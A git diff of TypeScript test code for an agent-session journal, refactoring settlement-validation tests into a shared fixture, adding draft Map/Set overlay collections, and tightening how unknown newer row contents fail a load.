await expectUnadvanceableItemUntouched({ - itemId: agentJournalItemKey(identity), - revision, - body: { kind: 'turn', turnId: 'old', state: 'running' } - }) - await expectSendStillWritable() - } - ) - - async function expectUnadvanceableItemUntouched(saved: { - itemId: string - revision: number - body: unknown - }) { - await saveOldItems([ - saved, - { itemId: 'orca:advanceable', body: { kind: 'turn', turnId: 'other', state: 'running' } }, - { itemId: 'orca:approval', body: pendingApproval() } - ]) - const before = journal.snapshot().items.find((item) => item.itemId === saved.itemId) - const { db } = openTestJournalHostDatabase(root) - const history = liveTestJournalRows(db, 'validation') - const commits = vi.fn() - journal.observeCommits(commits) - await expect(settle()).resolves.toBeGreaterThan(0) - expect(commits).toHaveBeenCalledTimes(1) - expect(journal.snapshot().items.find((item) => item.itemId === saved.itemId)).toEqual(before) - expect(journal.itemBody('orca:advanceable')).toMatchObject({ state: 'interrupted' }) - expect(journal.itemBody('orca:approval')).toMatchObject({ resolution: { state: 'cancelled' } }) - expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) - const settled = journal.snapshot() - await settle() - expect(journal.snapshot()).toEqual(settled) - expect(commits).toHaveBeenCalledTimes(1) - await journal.close() - journal = await open() - expect(journal.snapshot()).toEqual(settled) - } - - it('revises the original legacy long prompt key and still permits a fresh send', async () => { - const oldKey = `orca:${'x'.repeat(1025)}` - await saveOldItems([{ itemId: oldKey, body: pendingApproval() }]) - await settle() - expect(journal.snapshot().items).toHaveLength(1) - expect(journal.itemBody(oldKey)).toMatchObject({ resolution: { state: 'cancelled' } }) - expect(journal.snapshot().items.filter((item) => item.body.kind === 'approval')).toHaveLength(1) - await expectSendStillWritable() - }) - - function pendingApproval() { - return { - kind: 'approval', - title: 'Allow?', - detail: null, - options: [], - resolution: { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } - } - } - - function expectRewriteTimes(value: unknown) { - if (typeof value !== 'object' || value === null) { - return - } - for (const [key, field] of Object.entries(value)) { - if (key.endsWith('At') && field !== null && field !== undefined) { - expect(typeof field).toBe('number') - expect(Number.isFinite(field)).toBe(true) - expect(field).toBeGreaterThan(0) - } - expectRewriteTimes(field) - } - } - - it.each([ - ['untimed exit', 0, undefined], - ['untimed renewal', 1_000, 0], - ['timed exit', 1_000, undefined] - ] as const)( - 'builds admitted settlement rows preserving extensions without invalid known times for %s', - async (_name, observedAt, lastProvenAliveAt) => { - const long = 'x'.repeat(1025) - const running = { turnId: 'old', state: 'running' } - const laterContextUsage = { - window: { tokens: 100, capturedAt: 1, laterWindowField: true }, - used: { kind: 'unknown', capturedAt: 1, laterUsedField: true }, - laterUsageField: { kept: true } - } - const extensionBodies = [ - { ...running, kind: 'tool-call' }, - { ...running, providerTurnId: '' }, - { ...running, providerTurnId: 42 }, - { ...running, providerTurnId: null }, - { ...running, contextUsage: { window: { tokens: -1 } } }, - { ...running, contextUsage: 'extension' }, - { - ...running, - providerTurnId: 'provider', - contextUsage: laterContextUsage - }, - { ...running, laterField: { kind: 'tool-call' } } - ] - const inputs = [ - ...extensionBodies.map((turnLifecycle, index) => ({ - itemId: `orca:extension-${index}`, - body: { kind: 'status', text: 'working', turnLifecycle } - })), - { itemId: 'orca:untimed', body: { kind: 'turn', ...running } }, - { - itemId: 'orca:timed', - body: { kind: 'turn', ...running, requestedAt: 800, startedAt: 900, completedAt: 950 } - }, - { - itemId: 'orca:last-advanceable', - revision: Number.MAX_SAFE_INTEGER - 1, - body: { kind: 'turn', ...running } - }, - { itemId: `orca:${long}`, body: pendingApproval() }, - { itemId: `claude:${long}:uuid`, body: { kind: 'turn', ...running } }, - { - itemId: `codex:thread:${long}:0`, - body: { kind: 'message', role: 'reasoning', blocks: [], state: 'running' } - }, - { - itemId: `legacy:codex:session:${long}`, - body: { kind: 'tool-call', name: 'shell', state: 'running' } - }, - { itemId: 'future-provider:opaque%ZZ', body: pendingApproval() }, - { itemId: 'orca:%78', body: pendingApproval() }, - { itemId: '', body: pendingApproval() }, - { - itemId: `orca:${long}oversized`, - body: { kind: 'tool-call', name: 'shell', input: 'x'.repeat(1_500_001), state: 'running' } - } - ] - await saveOldItems(inputs) - const { db } = openTestJournalHostDatabase(root) - const history = liveTestJournalRows(db, 'validation') - const rows: JournalRow[] = [] - const insert = rowTable.insertJournalRow - vi.spyOn(rowTable, 'insertJournalRow').mockImplementation((database, sessionId, row) => { - expect(parseJournalRow(JSON.stringify(row))).toMatchObject({ ok: true }) - const bodies = - row.kind === 'item' - ? [row.body] - : row.kind === 'lifecycle-batch' - ? row.mutations.flatMap((mutation) => - mutation.kind === 'item' ? [mutation.body] : [] - ) - : [] - for (const body of bodies) { - expect(body).toMatchObject(AgentJournalItemBodySchema.parse(body)) - expectRewriteTimes(body) - } - rows.push(row) - return insert(database, sessionId, row) - }) - await settle(observedAt, lastProvenAliveAt) - expect(rows.some((row) => row.kind === 'lifecycle-batch')).toBe(true) - expect( - rows.some((row) => row.kind === 'item' && row.itemId === `orca:${long}oversized`) - ).toBe(true) - expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) - for (const input of inputs) { - const body = journal.itemBody(input.itemId) - expect(body).toBeDefined() - expect(readAgentJournalTurn(body ?? undefined)?.state).not.toBe('running') - if (body?.kind === 'approval') { - expect(body.resolution.state).toBe('cancelled') - } - if (body?.kind === 'message') { - expect(body.state).toBe('completed') - } - if (body?.kind === 'tool-call') { - expect(body.state).toBe('failed') - } - } - expect(journal.itemBody('orca:extension-7')).toHaveProperty('laterField', { - kind: 'tool-call' - }) - expect(journal.itemBody('orca:extension-6')).toHaveProperty('contextUsage', laterContextUsage) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - expect(journal.snapshot().items).toHaveLength(inputs.length + 1) - const ended = journal.snapshot() - await settle(observedAt, lastProvenAliveAt) - expect(journal.snapshot()).toEqual(ended) - await journal.close() - journal = await open() - for (const input of inputs) { - expect(journal.itemBody(input.itemId)).toEqual( - ended.items.find((item) => item.itemId === input.itemId)?.body - ) - } - await expectSendStillWritable() - } - ) - - it.each([Number.MAX_SAFE_INTEGER, -Number.MAX_SAFE_INTEGER - 1])( - 'advances readable saved revision %s using the existing integer admission', - async (revision) => { - await saveOldItems([ - { - itemId: agentJournalItemKey(identity), - revision, - body: { kind: 'turn', turnId: 'old', state: 'running' } - } - ]) - await settle() - expect(journal.snapshot().items[0]).toMatchObject({ - revision: Math.max(revision, 0) + 1, - body: { state: 'interrupted' } - }) - await expectSendStillWritable() - } - ) - - it('admits an answer on an exhausted approval without changing the saved item', async () => { - await saveOldItems([ - { - itemId: agentJournalItemKey(identity), - revision: Number.MAX_SAFE_INTEGER + 1, - body: pendingApproval() - } - ]) - const before = journal.snapshot().items[0] - const cursor = journal.cursor() - await expect( - journal.appendItem( - identity, - { - ...pendingApproval(), - kind: 'approval', - resolution: { - state: 'resolved', - selectedOptionId: null, - resolvedBy: 'user', - resolvedAt: 1_000 - } - }, - { fence: 8, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - ).resolves.toBeDefined() - expect(journal.cursor().sequence).toBe(cursor.sequence + 1) - expect(journal.snapshot().items[0]).toEqual(before) - await expectSendStillWritable() - }) + const fixture = createFixture() + registerJournalTerminalTimeValidationTests(fixture) + registerJournalApprovalRevisionValidationTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts b/src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts new file mode 100644 index 00000000000..bb9930a0d2e --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts @@ -0,0 +1,219 @@ +import type { createFixture } from './journal-terminal-validation-test-fixture' +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { AgentJournalItemBodySchema } from '../../../shared/agent-session-journal-schemas' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { + liveTestJournalRows, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { parseJournalRow, type JournalRow } from './journal-row-schema' +import * as rowTable from './journal-row-table' + +export function registerJournalTerminalTimeValidationTests( + fixture: ReturnType +): void { + it.each([ + ['zero exit time', 0, undefined], + ['zero renewal time', 1_000, 0] + ] as const)( + 'ends an untimed turn with %s and still permits a fresh send', + async (_name, observedAt, lastProvenAliveAt) => { + await fixture.journal.appendItem( + fixture.identity, + { kind: 'turn', turnId: 'old', state: 'running' }, + { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + await fixture.settle(observedAt, lastProvenAliveAt) + expect(fixture.journal.itemBody(agentJournalItemKey(fixture.identity))).toEqual({ + kind: 'turn', + turnId: 'old', + state: 'interrupted' + }) + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + const ended = fixture.journal.snapshot() + await fixture.settle(observedAt, lastProvenAliveAt) + expect(fixture.journal.snapshot()).toEqual(ended) + await fixture.expectSendStillWritable() + } + ) + + it.each([{ providerTurnId: '' }])( + 'ends a readable legacy extension %j using a valid turn rewrite', + async (extension) => { + await fixture.saveOldItems([ + { + itemId: agentJournalItemKey(fixture.identity), + body: { + kind: 'status', + text: 'working', + turnLifecycle: { turnId: 'old', state: 'running', ...extension } + } + } + ]) + await fixture.settle() + expect(fixture.journal.itemBody(agentJournalItemKey(fixture.identity))).toEqual({ + kind: 'turn', + turnId: 'old', + state: 'interrupted', + completedAt: 1_000 + }) + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + await fixture.expectSendStillWritable() + } + ) + + it.each([Number.MAX_SAFE_INTEGER + 1, 1e100])( + 'leaves exhausted saved revision %s untouched while other work commits once and a fresh send writes', + async (revision) => { + await fixture.expectUnadvanceableItemUntouched({ + itemId: agentJournalItemKey(fixture.identity), + revision, + body: { kind: 'turn', turnId: 'old', state: 'running' } + }) + await fixture.expectSendStillWritable() + } + ) + + it('revises the original legacy long prompt key and still permits a fresh send', async () => { + const oldKey = `orca:${'x'.repeat(1025)}` + await fixture.saveOldItems([{ itemId: oldKey, body: fixture.pendingApproval() }]) + await fixture.settle() + expect(fixture.journal.snapshot().items).toHaveLength(1) + expect(fixture.journal.itemBody(oldKey)).toMatchObject({ resolution: { state: 'cancelled' } }) + expect( + fixture.journal.snapshot().items.filter((item) => item.body.kind === 'approval') + ).toHaveLength(1) + await fixture.expectSendStillWritable() + }) + + it.each([ + ['untimed exit', 0, undefined], + ['untimed renewal', 1_000, 0], + ['timed exit', 1_000, undefined] + ] as const)( + 'builds admitted settlement rows preserving extensions without invalid known times for %s', + async (_name, observedAt, lastProvenAliveAt) => { + const long = 'x'.repeat(1025) + const running = { turnId: 'old', state: 'running' } + const extensionBodies = [ + { ...running, providerTurnId: '' }, + { ...running, providerTurnId: 42 }, + { ...running, providerTurnId: null }, + { ...running, contextUsage: { window: { tokens: -1 } } }, + { ...running, contextUsage: 'extension' } + ] + const inputs = [ + ...extensionBodies.map((turnLifecycle, index) => ({ + itemId: `orca:extension-${index}`, + body: { kind: 'status', text: 'working', turnLifecycle } + })), + { itemId: 'orca:untimed', body: { kind: 'turn', ...running } }, + { + itemId: 'orca:timed', + body: { kind: 'turn', ...running, requestedAt: 800, startedAt: 900, completedAt: 950 } + }, + { + itemId: 'orca:last-advanceable', + revision: Number.MAX_SAFE_INTEGER - 1, + body: { kind: 'turn', ...running } + }, + { itemId: `orca:${long}`, body: fixture.pendingApproval() }, + { itemId: `claude:${long}:uuid`, body: { kind: 'turn', ...running } }, + { + itemId: `codex:thread:${long}:0`, + body: { kind: 'message', role: 'reasoning', blocks: [], state: 'running' } + }, + { + itemId: `legacy:codex:session:${long}`, + body: { kind: 'tool-call', name: 'shell', state: 'running' } + }, + { itemId: 'future-provider:opaque%ZZ', body: fixture.pendingApproval() }, + { itemId: 'orca:%78', body: fixture.pendingApproval() }, + { itemId: '', body: fixture.pendingApproval() }, + { + itemId: `orca:${long}oversized`, + body: { kind: 'tool-call', name: 'shell', input: 'x'.repeat(1_500_001), state: 'running' } + } + ] + await fixture.saveOldItems(inputs) + const { db } = openTestJournalHostDatabase(fixture.root) + const history = liveTestJournalRows(db, 'validation') + const rows: JournalRow[] = [] + const insert = rowTable.insertJournalRow + vi.spyOn(rowTable, 'insertJournalRow').mockImplementation((database, sessionId, row) => { + expect(parseJournalRow(JSON.stringify(row))).toMatchObject({ ok: true }) + const bodies = + row.kind === 'item' + ? [row.body] + : row.kind === 'lifecycle-batch' + ? row.mutations.flatMap((mutation) => + mutation.kind === 'item' ? [mutation.body] : [] + ) + : [] + for (const body of bodies) { + expect(body).toMatchObject(AgentJournalItemBodySchema.parse(body)) + fixture.expectRewriteTimes(body) + } + rows.push(row) + return insert(database, sessionId, row) + }) + await fixture.settle(observedAt, lastProvenAliveAt) + expect(rows.some((row) => row.kind === 'lifecycle-batch')).toBe(true) + expect( + rows.some((row) => row.kind === 'item' && row.itemId === `orca:${long}oversized`) + ).toBe(true) + expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) + for (const input of inputs) { + const body = fixture.journal.itemBody(input.itemId) + expect(body).toBeDefined() + expect(readAgentJournalTurn(body ?? undefined)?.state).not.toBe('running') + if (body?.kind === 'approval') { + expect(body.resolution.state).toBe('cancelled') + } + if (body?.kind === 'message') { + expect(body.state).toBe('completed') + } + if (body?.kind === 'tool-call') { + expect(body.state).toBe('failed') + } + } + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + expect(fixture.journal.snapshot().items).toHaveLength(inputs.length + 1) + const ended = fixture.journal.snapshot() + await fixture.settle(observedAt, lastProvenAliveAt) + expect(fixture.journal.snapshot()).toEqual(ended) + await fixture.journal.close() + fixture.journal = await fixture.open() + for (const input of inputs) { + expect(fixture.journal.itemBody(input.itemId)).toEqual( + ended.items.find((item) => item.itemId === input.itemId)?.body + ) + } + await fixture.expectSendStillWritable() + } + ) + + it.each([Number.MAX_SAFE_INTEGER, -Number.MAX_SAFE_INTEGER - 1])( + 'advances readable saved revision %s using the existing integer admission', + async (revision) => { + await fixture.saveOldItems([ + { + itemId: agentJournalItemKey(fixture.identity), + revision, + body: { kind: 'turn', turnId: 'old', state: 'running' } + } + ]) + await fixture.settle() + expect(fixture.journal.snapshot().items[0]).toMatchObject({ + revision: Math.max(revision, 0) + 1, + body: { state: 'interrupted' } + }) + await fixture.expectSendStillWritable() + } + ) +} diff --git a/src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts new file mode 100644 index 00000000000..6ce38691e5f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts @@ -0,0 +1,177 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' +import { + createTrackedJournalOpener, + insertTestJournalRowJson, + liveTestJournalRows, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { parseJournalRow } from './journal-row-schema' +import type { AgentSessionJournal } from './journal-store' + +export function createFixture() { + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + let root: string + + let journal: AgentSessionJournal + + const identity = { provider: 'orca' as const, clientMessageId: 'old-turn' } + + async function open() { + return journals.open({ + identity: { + sessionId: 'validation', + workspaceId: 'folder', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread') + }, + stateDirectory: root, + now: () => 1_000 + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-settlement-validation-')) + journal = await open() + }) + + afterEach(async () => { + vi.restoreAllMocks() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + function settle(observedAt = 1_000, lastProvenAliveAt?: number) { + return settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'validation', + fence: 8, + acquisitionGeneration: 'replacement', + deathEvidence: { + kind: lastProvenAliveAt === undefined ? 'exit-observed' : 'pid-absent', + detail: '', + ownerFence: 7, + observedAt, + ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) + } + }) + } + + async function expectSendStillWritable() { + const sequence = journal.cursor().sequence + 1 + await expect( + journal.appendSubmission({ + clientMessageId: 'new-send', + payloadFingerprint: 'new', + fence: 8, + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } + }) + ).resolves.toMatchObject({ sequence }) + } + + async function saveOldItems(inputs: { itemId: string; revision?: number; body: unknown }[]) { + const { db } = openTestJournalHostDatabase(root) + for (const [index, input] of inputs.entries()) { + const json = JSON.stringify({ + v: 3, + kind: 'item', + epoch: journal.epoch, + seq: index + 2, + ts: 900, + fence: 7, + revision: 1, + ...input, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(parseJournalRow(json).ok).toBe(true) + insertTestJournalRowJson(db, 'validation', index + 2, json, 900) + } + await journal.close() + journal = await open() + } + + async function expectUnadvanceableItemUntouched(saved: { + itemId: string + revision: number + body: unknown + }) { + await saveOldItems([ + saved, + { itemId: 'orca:advanceable', body: { kind: 'turn', turnId: 'other', state: 'running' } }, + { itemId: 'orca:approval', body: pendingApproval() } + ]) + const before = journal.snapshot().items.find((item) => item.itemId === saved.itemId) + const { db } = openTestJournalHostDatabase(root) + const history = liveTestJournalRows(db, 'validation') + const commits = vi.fn() + journal.observeCommits(commits) + await expect(settle()).resolves.toBeGreaterThan(0) + expect(commits).toHaveBeenCalledTimes(1) + expect(journal.snapshot().items.find((item) => item.itemId === saved.itemId)).toEqual(before) + expect(journal.itemBody('orca:advanceable')).toMatchObject({ state: 'interrupted' }) + expect(journal.itemBody('orca:approval')).toMatchObject({ resolution: { state: 'cancelled' } }) + expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) + const settled = journal.snapshot() + await settle() + expect(journal.snapshot()).toEqual(settled) + expect(commits).toHaveBeenCalledTimes(1) + await journal.close() + journal = await open() + expect(journal.snapshot()).toEqual(settled) + } + + function pendingApproval() { + return { + kind: 'approval', + title: 'Allow?', + detail: null, + options: [], + resolution: { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } + } + } + + function expectRewriteTimes(value: unknown) { + if (typeof value !== 'object' || value === null) { + return + } + for (const [key, field] of Object.entries(value)) { + if (key.endsWith('At') && field !== null && field !== undefined) { + expect(typeof field).toBe('number') + expect(Number.isFinite(field)).toBe(true) + expect(field).toBeGreaterThan(0) + } + expectRewriteTimes(field) + } + } + + return { + expectRewriteTimes, + expectSendStillWritable, + expectUnadvanceableItemUntouched, + identity, + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + journals, + open, + pendingApproval, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + saveOldItems, + settle + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-transition-collections.ts b/src/main/native-chat/agent-session-journal/journal-transition-collections.ts new file mode 100644 index 00000000000..1fcdfd69c55 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-transition-collections.ts @@ -0,0 +1,269 @@ +// Overlay collections leave the live containers untouched until their transaction commits. + +export type JournalEntryChange = { + path: string + key: unknown + deleted: boolean + reinsert: boolean + value: unknown +} + +export type JournalDraftAccess = { + wrap: (value: T, changed: () => void, path: string) => T + assign: (value: unknown) => void + finish: (value: T) => T + defer: (apply: () => void) => void +} + +export class JournalDraftMap extends Map { + private readonly writes = new Map() + private readonly removed = new Set() + private readonly inserted = new Set() + private readonly touched = new Set() + private readonly pending = new Set() + private readonly recreated = new Set() + + constructor( + private readonly source: Map, + private readonly access: JournalDraftAccess, + private readonly changed: () => void, + readonly path: string + ) { + super() + } + + override get size(): number { + return this.source.size - this.removed.size + this.inserted.size + } + + override has(key: K): boolean { + return this.inserted.has(key) || (!this.removed.has(key) && this.source.has(key)) + } + + override get(key: K): V | undefined { + return this.has(key) ? this.draft(key) : undefined + } + + override set(key: K, value: V): this { + if (!this.has(key)) { + this.inserted.add(key) + this.recreated.add(key) + // A (re)created key moves to the end of both orders, as the live map's re-insert does. + this.touched.delete(key) + this.pending.delete(key) + } + this.access.assign(value) + this.writes.set(key, value) + this.touch(key) + return this + } + + override delete(key: K): boolean { + if (!this.has(key)) { + return false + } + if (this.source.has(key)) { + this.removed.add(key) + } + this.inserted.delete(key) + this.recreated.delete(key) + this.writes.delete(key) + this.touch(key) + return true + } + + override clear(): void { + for (const key of this.keys()) { + this.delete(key) + } + } + + override *keys(): MapIterator { + for (const key of this.source.keys()) { + if (!this.removed.has(key)) { + yield key + } + } + yield* this.inserted + } + + override *values(): MapIterator { + for (const key of this.keys()) { + yield this.draft(key) + } + } + + override *entries(): MapIterator<[K, V]> { + for (const key of this.keys()) { + yield [key, this.draft(key)] + } + } + + override [Symbol.iterator](): MapIterator<[K, V]> { + return this.entries() + } + + override forEach(callback: (value: V, key: K, map: Map) => void, thisArg?: unknown): void { + for (const [key, value] of this) { + callback.call(thisArg, value, key, this) + } + } + + changes(reset = false): JournalEntryChange[] { + const changes = [...this.pending].map((key) => ({ + path: this.path, + key, + deleted: !this.has(key), + reinsert: this.recreated.has(key), + value: this.get(key) + })) + if (reset) { + this.pending.clear() + this.recreated.clear() + } + return changes + } + + finish(): Map { + const changes = [...this.touched].map((key) => ({ + key, + reinsert: this.inserted.has(key), + kept: this.has(key) ? { value: this.access.finish(this.draft(key)) } : null + })) + this.access.defer(() => { + for (const { key, reinsert, kept } of changes) { + if (!kept || reinsert) { + this.source.delete(key) + } + if (kept) { + this.source.set(key, kept.value) + } + } + }) + return this.source + } + + /** Only for present keys; a present entry may hold undefined. */ + private draft(key: K): V { + const stored = this.writes.has(key) ? this.writes.get(key) : this.source.get(key) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: callers pass only keys has() reports present, so the stored value is a V even when V includes undefined. + return this.access.wrap(stored as V, () => this.touch(key), `${this.path}.*`) + } + + private touch(key: K): void { + this.touched.add(key) + this.pending.add(key) + this.changed() + } +} + +export class JournalDraftSet extends Set { + private readonly removed = new Set() + private readonly inserted = new Set() + private readonly touched = new Set() + private readonly pending = new Set() + private readonly recreated = new Set() + + constructor( + private readonly source: Set, + private readonly access: JournalDraftAccess, + private readonly changed: () => void, + readonly path: string + ) { + super() + } + + override get size(): number { + return this.source.size - this.removed.size + this.inserted.size + } + override has(value: T): boolean { + return this.inserted.has(value) || (!this.removed.has(value) && this.source.has(value)) + } + override add(value: T): this { + if (!this.has(value)) { + this.inserted.add(value) + this.recreated.add(value) + this.pending.delete(value) + this.pending.add(value) + this.touched.delete(value) + this.touched.add(value) + this.changed() + } + return this + } + override delete(value: T): boolean { + if (!this.has(value)) { + return false + } + if (this.source.has(value)) { + this.removed.add(value) + } + this.inserted.delete(value) + this.recreated.delete(value) + this.pending.add(value) + this.touched.add(value) + this.changed() + return true + } + override clear(): void { + for (const value of this) { + this.delete(value) + } + } + override *values(): SetIterator { + for (const value of this.source) { + if (!this.removed.has(value)) { + yield value + } + } + yield* this.inserted + } + override keys(): SetIterator { + return this.values() + } + override *entries(): SetIterator<[T, T]> { + for (const value of this.values()) { + yield [value, value] + } + } + override [Symbol.iterator](): SetIterator { + return this.values() + } + override forEach(callback: (value: T, key: T, set: Set) => void, thisArg?: unknown): void { + for (const value of this) { + callback.call(thisArg, value, value, this) + } + } + changes(reset = false): JournalEntryChange[] { + const changes = [...this.pending].map((key) => ({ + path: this.path, + key, + deleted: !this.has(key), + reinsert: this.recreated.has(key), + value: key + })) + if (reset) { + this.pending.clear() + this.recreated.clear() + } + return changes + } + finish(): Set { + const changes = [...this.touched].map((value) => ({ + value, + deleted: !this.has(value), + reinsert: this.inserted.has(value) + })) + this.access.defer(() => { + for (const { value, deleted, reinsert } of changes) { + if (deleted || reinsert) { + this.source.delete(value) + } + if (!deleted) { + this.source.add(value) + } + } + }) + return this.source + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts b/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts index a4e0a9dc771..c9c2119b230 100644 --- a/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts @@ -32,7 +32,7 @@ export function registerJournalUnknownContentTests(): void { const SCOPE = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } let root: string - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-journal-newer-content-')) @@ -116,36 +116,26 @@ export function registerJournalUnknownContentTests(): void { expect(stored()).toEqual(written) } - /** Verify writable downgrade compatibility without rewriting stored rows. */ - async function expectWritableAndKept( - written: { seq: number; rowJson: string }[], - itemId: string - ) { - const journal = await open() - expect(journal.snapshot().items.some((entry) => entry.itemId === itemId)).toBe(true) - await journal.appendItem(item(5), { kind: 'status', text: 'taken' }, SCOPE) - await journals.closeAll() - expect(stored().slice(0, written.length)).toEqual(written) - } - - describe("a newer build's body kind, kept and writable", () => { + // An input row's union tags are closed like its keys: a newer kind refuses the chat before main's + // reader could keep it undrawn and this build restate the chat without it. + describe("a newer build's body kind", () => { it.each([ ['an item body of a newer kind', NEWER_BODY], ['a plan subject of a newer kind', { ...PLAN_APPROVAL, subject: { kind: 'diff' } }] - ])('keeps %s and stays writable', async (_name, body) => { + ])('fails the load on %s and keeps the row', async (_name, body) => { const { written } = await journalWith((epoch) => [ itemRow(epoch, 'codex:thread-1:turn-1:2', body) ]) - await expectWritableAndKept(written, 'codex:thread-1:turn-1:2') + await expectNewerAndKept(written) }) - it('keeps a lifecycle mutation whose body is a newer kind, and stays writable', async () => { + it('fails the load on a lifecycle mutation whose body is a newer kind', async () => { const { written } = await journalWith((epoch) => [ batchRow(epoch, [ { kind: 'item', itemId: 'codex:thread-1:turn-1:4', revision: 1, body: NEWER_BODY } ]) ]) - await expectWritableAndKept(written, 'codex:thread-1:turn-1:4') + await expectNewerAndKept(written) }) }) @@ -230,7 +220,7 @@ export function registerJournalUnknownContentTests(): void { }) describe("a turn's context usage of a newer shape", () => { - it('is dropped like an unusable annotation: the chat stays writable and keeps the row', async () => { + it('fails the load and keeps the row', async () => { const { written } = await journalWith((epoch) => [ itemRow(epoch, 'codex:thread-1:turn-1:2', { kind: 'turn', @@ -239,14 +229,7 @@ export function registerJournalUnknownContentTests(): void { contextUsage: { used: { kind: 'measured', capturedAt: 1 } } }) ]) - const journal = await open() - expect(journal.snapshot().items[2]?.body).toEqual({ - kind: 'turn', - turnId: 'turn-1', - state: 'completed' - }) - await journals.closeAll() - expect(stored()).toEqual(written) + await expectNewerAndKept(written) }) }) diff --git a/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts b/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts index d55230b105f..fee7bcd7a47 100644 --- a/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts @@ -13,6 +13,7 @@ import { import { closeTestJournalHostDatabase, createTrackedJournalOpener, + deleteTestJournalRow, insertTestJournalRowJson, liveTestJournalRows, openTestJournalHostDatabase, @@ -39,7 +40,7 @@ export function registerJournalUnknownRowKindTests(): void { const SCOPE = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } let root: string - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-journal-newer-kind-')) @@ -58,14 +59,14 @@ export function registerJournalUnknownRowKindTests(): void { return journal.snapshot().items.map((entry) => entry.itemId) } + function rowEnvelope(epoch: string, seq: number) { + return { v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, epoch, seq, fence: 1, ts: 5_000 + seq } + } + function newerRow(epoch: string, seq: number, extra: Record = {}) { return { - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + ...rowEnvelope(epoch, seq), kind: 'future-mark', - epoch, - seq, - fence: 1, - ts: 5_000 + seq, payload: { said: 'by a newer build', seq }, ...extra } @@ -82,10 +83,7 @@ export function registerJournalUnknownRowKindTests(): void { await journals.closeAll() const { db } = openTestJournalHostDatabase(root) edit((seq, json) => { - db.prepare('DELETE FROM journal_rows WHERE session_id = ? AND seq = ?').run( - IDENTITY.sessionId, - seq - ) + deleteTestJournalRow(db, IDENTITY.sessionId, seq) insertTestJournalRowJson(db, IDENTITY.sessionId, seq, json, 5_000 + seq) }) await closeTestJournalHostDatabase(root) @@ -198,7 +196,7 @@ export function registerJournalUnknownRowKindTests(): void { it('reads a known kind that fails its own checks as malformed', () => { const parsed = parseJournalRow( - JSON.stringify({ ...newerRow('epoch-1', 7), kind: 'item', itemId: 'x', revision: 1 }) + JSON.stringify({ ...rowEnvelope('epoch-1', 7), kind: 'item', itemId: 'x', revision: 1 }) ) expect(parsed).toEqual({ ok: false, unreadable: false }) }) @@ -265,7 +263,12 @@ export function registerJournalUnknownRowKindTests(): void { ['a later', 9] ])('fails the load and is kept when it names %s one', async (_name, seq) => { const epoch = await journalWithOneItem() - const tombstone = { ...newerRow(epoch, seq), kind: 'tombstone', itemId: 'gone', revision: 1 } + const tombstone = { + ...rowEnvelope(epoch, seq), + kind: 'tombstone', + itemId: 'gone', + revision: 1 + } await expect(restartAfter((put) => put(3, JSON.stringify(tombstone)))).rejects.toMatchObject( 